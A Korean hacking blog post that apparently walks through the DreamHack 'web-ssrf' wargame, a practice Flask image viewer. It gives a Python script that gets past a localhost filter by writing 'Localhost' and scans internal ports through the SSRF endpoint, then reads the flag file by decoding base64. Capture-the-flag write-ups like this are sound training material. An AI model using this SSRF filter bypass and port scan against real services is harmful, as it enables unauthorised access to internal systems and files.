Yozzang의 해킹일기 💻
article thumbnail
728x90

오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 web-ssrf를 함께 풀어볼 예정이다.

 

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io


## 문제 설명:

문제 설명

문제 정보를 살펴보면 SSRF 취약점을 이용하여 flag를 획득하면 되는 것으로 보인다.

## 문제 풀이

사이트에 접속해보니 다음과 화면이 보인다.

main

Image Viewer 버튼을 클릭하면 다음과 같이 이미지를 불러 올 수 있는 화면이 출력된다.

Image Viewer
실행 결과

소스 코드를 보면 flag.txt는 로컬에 있고, localhost와 127.0.0.1이 필터링 처리된 것을 확인할 수 있다.

소스 코드

또한 포트는 1500~1800 사이인 것을 알 수 있다.

소스 코드

우선 포트가 몇 번인지부터 확인해보겠다. 파이썬을 통해 스크립트를 작성해보겠다.

## 공격 코드

import requests
from tqdm import tqdm

IMG_NOTFOUND = "iVBORw0KG"
port = 23992
url = f"http://host3.dreamhack.games:{port}/img_viewer"


def send_img(img_url):
    global url
    data = {
        "url": img_url,
    }
    response = requests.post(url, data=data)
    return response.text


def find_port():
    for rst_port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{rst_port}"
        if IMG_NOTFOUND not in send_img(img_url):
            print(f"Internal port number is: {rst_port}")
            break
    return rst_port


internal_port = find_port()

## 실행 결과

포트 출력

포트 번호가 1578인 것을 확인할 수 있다.

이미지 출력 성공

이미지가 출력된 것을 확인할 수 있다. 개발자 도구를 열어 다음과 같이 base64로 인코딩된 것을 확인할 수 있다.

개발자 도구

해당 문자열을 디코딩 하면 다음과 같이 flag.txt가 존재한 것을 확인할 수 있다.

디코딩 결과

해당 경로를 접속해보면 마찬가지로 이미지 파일이 출력된 것을 확인할 수 있다.

이미지 출력 성공

위와 같은 방법으로 파일을 인코딩하면 다음과 같이 FLAG 값이 출력된 것을 확인할 수 있다.

성공

'Wargame > DreamHack' 카테고리의 다른 글

[DreamHack 워게임] Tomcat Manager  (0) 2023.04.08
[DreamHack 워게임] funjs  (0) 2023.04.07
[DreamHack 워게임] blind-command  (0) 2023.04.05
[DreamHack 워게임] command-injection  (0) 2023.04.04
[DreamHack 워게임] login-1  (0) 2023.04.03
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!